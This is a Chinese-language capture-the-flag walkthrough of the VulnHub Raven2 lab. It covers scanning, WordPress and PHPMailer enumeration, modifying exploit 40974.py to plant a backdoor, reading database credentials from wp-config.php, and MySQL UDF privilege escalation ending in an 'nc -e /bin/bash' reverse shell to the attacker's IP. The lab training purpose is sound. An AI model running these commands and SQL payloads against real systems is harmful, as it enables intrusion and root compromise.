靶机:
https://download.vulnhub.com/raven/Raven2.ova
难度:
- 中
目标:
- 获得 Root 权限 + 4个 Flag
攻击方法:
- 主机发现
- 端口扫描
- 路径爆破
- 远程代码注入
- EXP代码修改
- 反弹shell
- 内核漏洞枚举
- 本地信息收集
- MySQL UDF提权
主机发现
sudo arp-scan -l
端口扫描和服务发现
sudo nmap -p- 192.168.31.11
- -p- 表示全端口扫描
sudo nmap -p22,80,111,55614 -sV 192.168.31.11
- -sV 参数来进行应用版本的探测
rpc 在内网中是常见的,用 nmap 扫描没有发现
打开 80 端口的 Web 发现一直在加载中
之前也遇到过,用 burp 来截断看看,从浏览器到服务器到底发生了哪些请求,同时又是哪些请求造成页面资源没有被加载进来
为了能把客户端向服务器端发送的所有的资源请求都能截断下来,所以我们将 burp 里面过滤的一些规则都禁用掉,同时将服务端返回回来的所有内容都显示出来
发现它访问了 google 的 api
那我们需要魔法,需要梯子,才能访问国外的网络资源
然后将代理设置为 BurpSuite 的上一级代理
然后刷新一下,页面就可以完整的加载进来了
然后把页面的超链接都点击一遍,点到 blog 的时候,就去到了 Wordpress 路径,我们通过小学二年级的知识就知道, Wordpress 是存在很多漏洞的
但是页面不完整,通过查看源代码发现里面有一些 DNS 域名,那我们把这个添加到我们 kali 的 hosts 文件里面
如果是 Windows 就打开 C:\Windows\System32\drivers\etc\hosts
刷新一下就能加载出来了
路径爆破
可以用 wpscan 等等工具进行扫描,但是没发现太多收获
wpscan --url http://192.168.31.11 -e vt,vp
-e vt,vp
:其中-e
是用于指定要启用的枚举(enumeration)模块。在这里vt
表示启用版本检测(version detection)模块,也就是wpscan
会尝试去检测 WordPress 核心、已安装的插件以及主题等的版本信息,因为不同版本可能存在不同的已知安全漏洞,获取版本有助于进一步分析潜在风险;vp
代表启用易受攻击插件(vulnerable plugins)检测模块,它会将目标站点上安装的插件与已知存在漏洞的插件数据库进行比对,来查看是否存在有安全隐患的插件,以便及时发现可能被利用的安全薄弱点。
dirb http://192.168.31.11
进行路径爬取发现了一个路径,它把目录都列出来了,这是一个发现
在 upload 路径发现了 flag3,四分之一的 flag 被找到了
在 http://192.168.31.11/vendor/PATH 路径下发现了 flag1
发现一个 PHP 用来发邮件的应用 PHPMailer
这个 SECURITY.md 文档显示 5.2.18 版本之前的版本有漏洞
远程代码注入
searchsploit phpmailer
searchsploit 是一个用于在 Exploit-DB 漏洞数据库中搜索漏洞利用脚本和相关信息的工具
先把他们复制到本地
sudo cp /usr/share/exploitdb/exploits/php/webapps/40974.py .
EXP代码修改
sudo vi 40974.py
需要修改一下 exp 才能使用,修改四个地方,漏洞是存在 http://192.168.31.11/contact.php 里的,后门命名为 s.php,反弹到我们 kali 的 IP 192.168.31..136 上,然后路径是 /var/www/html/
然后运行代码 python 40974.py
访问网页 http://192.168.31.11/s.php
发现存在这个文件了
反弹 shell
nc -lvnp 4444
本机 kali 开启监听,然后刷新一下浏览器即可
提权
本地信息收集
uname -a
打印出所有的系统信息,包括内核名称(Linux
、Darwin
等)、主机名、内核版本号、处理器类型(如 x86_64
)、硬件平台等诸多内容。发现是一个比较低版本的内核
ps -aux
查看系统中所有用户(包括没有控制终端的进程)的详细进程信息。重点关注 root 账号运行的进程,发现我们最有可能利用的是 MySQL。
python -c "import pty;pty.spawn('/bin/bash')"
升级终端
PS:不知道为啥我升级终端后会出现只敲了 ls ,却显示 llss,忽略即可
因为这段服务器上有 Wordpress,所以去 /var/www/html/wordpress 路径下查看 wp-config.php 配置文件,里面可能有数据库的账号密码
发现了库名 wordpress
,账号密码root
R@v3nSecurity
尝试 SSH 登录不行,说明只是数据库的密码
mysql -uroot -pR@v3nSecurity
登录数据库
show databases;
查看有哪几个库,只有一个 Wordpress 的库
\! bash
可能可以提权成功
\!
是 MySQL 命令行客户端里的一个特殊语法,它用于执行外部 shell 命令。所以当你输入 \! bash
时,其目的是在不退出当前 MySQL 命令行客户端的情况下,启动一个新的 bash
shell 环境。
但是敲完命令之后还是 www-data 用户,不是 root 用户,说明这个方法不行
MySQL UDF提权
- UDF 就是用户定义的函数,在 mysql 中是包含很多内嵌的函数的,通过这些内建函数可以自动的执行某一些功能
kali 上自带有这样的函数
find / -name "*mysqludf*" -type f 2>/dev/null
find
:这是一个在类 Unix 系统(如 Linux、Unix、macOS 等)中非常常用的命令,用于在指定的目录及其子目录下查找文件和目录。/
:表示从根目录开始查找。根目录是整个文件系统的起始点,所以指定/
意味着要在整个系统范围内进行搜索,会遍历所有的文件夹和文件(这可能会花费较多时间且需要相应的权限,因为涉及系统很多地方)。-name "*mysqludf*"
:这是一个条件选项,用于指定要查找文件的名称匹配模式。在这里,*
是通配符,代表任意字符序列(可以是零个或多个字符)。所以*mysqludf*
表示查找文件名中包含mysqludf
字样的文件,不管mysqludf
在文件名的开头、中间还是结尾都可以匹配到。-type f
:这也是一个条件选项,用于限定查找的对象类型为文件(f
代表file
)。也就是说这条命令只会查找符合前面文件名匹配条件的文件,而不会返回目录等其他类型的结果。2>/dev/null
:这部分是用于重定向错误输出的操作。在 Unix/Linux 系统中,文件描述符0
代表标准输入,1
代表标准输出,2
代表标准错误输出。2>
表示将标准错误输出重定向到指定的地方,在这里重定向到/dev/null
,而/dev/null
是一个特殊的设备文件,它就像一个 "黑洞",所有写入其中的数据都会被丢弃,这样做的目的是把命令执行过程中可能出现的错误信息(比如因为权限不足无法访问某些目录等导致的错误)不显示在终端上,只让正确的查找结果显示出来。
sudo mv lib_mysqludf_sys_64.so udf.so
先复制到当前路径
sudo mv lib_mysqludf_sys_64.so udf.so
然后重命名一下
接下来把这个文件传到目标靶机上去,让它在目标靶机上利用 MySQL 去加载这个共享库,利用这个共享库去创建可以执行操作系统指令的函数
那么我们就再目标靶机上,
cd /tmp
先去到临时目标下,这里权限大一点
nc -lvnp 4444 > udf.so
启动监听接收 udf.so 文件
nc 192.168.31.33 4444 < udf.so -w 1
用 kali 把文件传过去
PS:这里由于我网络环境改变,所以 IP 变了
再次进入 MySQL ,找一下它的插件都默认放在哪个目录下
show variables like '%plugin%';
是在 /usr/lib/mysql/plugin/
目录
由于我们没有权限直接通过 Linux 文件操作把 udf.so 文件直接拷贝过去,所以只能通过 MySQL 自身的能力来把文件写入到插件的路径下去
1. use mysql;
- 作用 :这条语句用于切换到 MySQL 数据库中的
mysql
库。mysql
库是 MySQL 系统自身用来存储关键的系统表、用户信息、权限设置等重要数据的数据库。切换到该库是后续操作的基础,因为后续要创建自定义表、函数等操作需要在合适的数据库环境下进行。 - 提示说明 :执行该语句后出现的 "Reading table information for completion of table and column names. You can turn off this feature to get a quicker startup with -A" 提示,是告知你 MySQL 客户端在尝试读取表信息来辅助进行表名和列名的自动补全功能,并且提示你如果想要更快地启动客户端,可以使用
-A
参数来关闭这个自动补全相关的功能。最后 "Database changed" 表示成功切换到了mysql
库。
2. create table aaa(line blob);
- 作用 :在当前所在的
mysql
数据库(也就是前面切换到的那个)中创建一个名为aaa
的表,该表只有一个字段line
,其数据类型定义为blob
(Binary Large Object,二进制大对象)。定义blob
类型通常是为了能够存储像图片、文件等二进制形式的数据,在这里的意图就是后续用来存储要加载的外部.so
文件(在 Linux 系统下的共享库文件,也就是包含自定义函数代码的文件)内容。 - 结果:执行后返回 "Query OK, 0 rows affected (0.02 sec)" 表示创建表的操作成功了,虽然表中暂时没有数据行(因为刚创建),耗时 0.02 秒。
3. insert into aaa values(load_file('/tmp/udf.so'));
- 作用 :尝试将位于
/tmp/udf.so
文件的内容插入到前面创建的aaa
表中。load_file
是 MySQL 的一个函数,用于读取文件内容并返回其作为结果,在这里就是把/tmp/udf.so
文件(假设是一个包含恶意或自定义 UDF 函数的共享库文件)的二进制内容读取出来,插入到aaa
表的line
字段对应的行中。 - 结果 :执行成功后返回 "Query OK, 1 row affected (0.00 sec)",意味着成功往
aaa
表中插入了一行数据,且这行数据包含了/tmp/udf.so
文件的内容,耗时 0.00 秒。
4. select * from aaa into dumpfile '/usr/lib/mysql/plugin/udf.so';
- 作用 :从
aaa
表中取出数据(也就是之前插入的/tmp/udf.so
文件的内容),然后将这些内容写入到/usr/lib/mysql/plugin/udf.so
文件中。into dumpfile
语句用于将查询结果输出到一个文件中,这里的目的就是把之前暂存在表中的共享库文件内容重新还原成一个可被 MySQL 加载的.so
文件,放置到 MySQL 插件目录(/usr/lib/mysql/plugin/
通常是插件存放位置之一)下,以便后续作为插件(UDF 函数所在的共享库当作插件加载)来使用。 - 结果:执行成功返回 "Query OK, 1 row affected (0.02 sec)",表示数据从表成功写入到指定文件了,耗时 0.02 秒。
5. create function sys_exec returns integer soname 'udf.so';
- 作用 :创建一个名为
sys_exec
的用户自定义函数(UDF),该函数返回值类型定义为integer
(整数),并且指定其对应的共享库文件名(通过soname
关键字)为udf.so
,也就是前面刚刚写入到/usr/lib/mysql/plugin/
目录下的那个文件。这个自定义函数的意图往往是去执行系统命令(从命名sys_exec
可以推测),而具体执行什么系统命令则会在后续调用这个函数时通过传入参数来决定。 - 结果:返回 "Query OK, 0 rows affected (0.00 sec)",表明函数创建成功了,不过此时还没有实际执行它,只是完成了函数的定义,耗时 0.00 秒。
6. select sys_exec('id > /tmp/out.txt');
- 作用 :调用前面创建的
sys_exec
自定义函数,并传入参数'id > /tmp/out.txt'
,从意图上看是希望利用这个函数执行id
命令(用于查看当前用户的身份信息等情况),并把命令的输出结果重定向到/tmp/out.txt
文件中。
发现它的所有者确实是 root ,说明刚刚的一系列操作可以以 root 账号的身份去创建文件,那用来反弹 shell 应该也不成问题
select sys_exec('nc 192.168.31.136 4444 -e /bin/bash');
成功获得 root 账号的 shell
打靶完毕!
find / -iname "*flag*" 2>/dev/null
找到另外两个 flag(因为前面说过这台靶机有4个flag)
- find:这是一个在类 Unix 系统(如 Linux、Unix、macOS 等)中常用的命令,主要功能是在指定的目录及其子目录下查找文件和目录。
- /:表示从根目录开始查找。根目录是整个文件系统的起始点,所以指定
/
意味着要遍历整个系统范围内的所有文件夹和文件来进行搜索(这可能会花费较多时间且需要相应的权限,因为涉及系统很多地方)。 - -iname:这是一个条件选项,用于指定要查找文件的名称匹配模式,区别于普通的
-name
选项,-iname
是不区分大小写的,也就是不管文件名中的字母是大写还是小写,只要包含指定的字符序列就能匹配到。在这里,*
是通配符,代表任意字符序列(可以是零个或多个字符),所以*flag*
表示查找文件名中包含flag
字样的文件,不管flag
在文件名的开头、中间还是结尾,也不管其大小写形式如何,都可以匹配到。 - 2>/dev/null:这部分是用于重定向错误输出的操作。在 Unix/Linux 系统中,文件描述符
0
代表标准输入,1
代表标准输出,2
代表标准错误输出。2>
表示将标准错误输出重定向到指定的地方,在这里重定向到/dev/null
,而/dev/null
是一个特殊的设备文件,它就像一个 "黑洞",所有写入其中的数据都会被丢弃,这样做的目的是把命令执行过程中可能出现的错误信息(比如因为权限不足无法访问某些目录等导致的错误)不显示在终端上,只让正确的查找结果显示出来。